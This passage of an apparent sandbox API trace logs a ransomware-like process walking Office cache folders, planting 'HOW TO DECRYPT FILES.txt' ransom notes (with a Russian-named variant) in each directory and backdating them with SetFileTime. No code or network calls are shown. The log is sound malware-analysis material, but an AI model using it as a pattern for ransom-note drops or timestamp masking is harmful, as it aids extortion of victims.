Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" [0057.723] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x780074, dwReserved1=0x74, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0057.723] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.723] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OWOW32LR.cab") returned -1 [0057.723] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OWOW32LR.cab") returned -1 [0057.723] lstrcmpiA (lpString1="", lpString2="OWOW32LR.cab") returned -1 [0057.723] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned="Office32MUI.xml" [0057.723] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" [0057.723] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\") returned="" [0057.723] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.723] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.723] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpString2="OWOW32LR.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" [0057.723] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.723] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.724] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Setup.xml") returned -1 [0057.724] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Setup.xml") returned -1 [0057.724] lstrcmpiA (lpString1="", lpString2="Setup.xml") returned -1 [0057.724] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned="OWOW32LR.cab" [0057.724] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" [0057.724] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\") returned="" [0057.724] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.724] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.724] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\", lpString2="Setup.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" [0057.724] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0057.724] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.724] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0057.724] lstrcmpA (lpString1=".", lpString2="{90140000-0044-0409-1000-0000000FF1CE}-C") returned -1 [0057.724] lstrcmpA (lpString1="..", lpString2="{90140000-0044-0409-1000-0000000FF1CE}-C") returned -1 [0057.724] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.724] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{90140000-0044-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" [0057.724] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.727] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.727] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.727] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.727] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.727] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0057.727] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.727] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InfLR.cab") returned -1 [0057.727] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InfLR.cab") returned -1 [0057.727] lstrcmpiA (lpString1="", lpString2="InfLR.cab") returned -1 [0057.727] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.727] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" [0057.727] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\") returned="" [0057.727] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.727] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.728] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.729] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.730] CloseHandle (hObject=0x88) returned 1 [0057.730] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpString2="InfLR.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" [0057.730] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x4f97b8, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0057.730] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.730] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InfoPathMUI.msi") returned -1 [0057.730] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InfoPathMUI.msi") returned -1 [0057.730] lstrcmpiA (lpString1="", lpString2="InfoPathMUI.msi") returned -1 [0057.730] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned="InfLR.cab" [0057.730] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" [0057.730] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\") returned="" [0057.730] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.730] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.730] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpString2="InfoPathMUI.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" [0057.731] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x780074, dwReserved1=0x74, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0057.731] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.731] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InfoPathMUI.xml") returned -1 [0057.731] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InfoPathMUI.xml") returned -1 [0057.731] lstrcmpiA (lpString1="", lpString2="InfoPathMUI.xml") returned -1 [0057.731] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned="InfoPathMUI.msi" [0057.731] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" [0057.731] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\") returned="" [0057.731] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.731] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.731] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpString2="InfoPathMUI.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" [0057.731] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.731] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.731] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Setup.xml") returned -1 [0057.731] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Setup.xml") returned -1 [0057.731] lstrcmpiA (lpString1="", lpString2="Setup.xml") returned -1 [0057.731] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned="InfoPathMUI.xml" [0057.731] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" [0057.731] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\") returned="" [0057.732] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.732] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.732] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\", lpString2="Setup.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" [0057.732] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0057.732] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.732] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0057.732] lstrcmpA (lpString1=".", lpString2="{90140000-0054-0409-1000-0000000FF1CE}-C") returned -1 [0057.732] lstrcmpA (lpString1="..", lpString2="{90140000-0054-0409-1000-0000000FF1CE}-C") returned -1 [0057.732] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.732] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{90140000-0054-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" [0057.732] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.733] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.733] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.733] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.733] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.733] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.733] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.733] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Setup.xml") returned -1 [0057.733] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Setup.xml") returned -1 [0057.733] lstrcmpiA (lpString1="", lpString2="Setup.xml") returned -1 [0057.733] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.733] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" [0057.733] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\") returned="" [0057.733] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.733] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.733] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.737] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.737] CloseHandle (hObject=0x88) returned 1 [0057.737] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpString2="Setup.xml" | out: 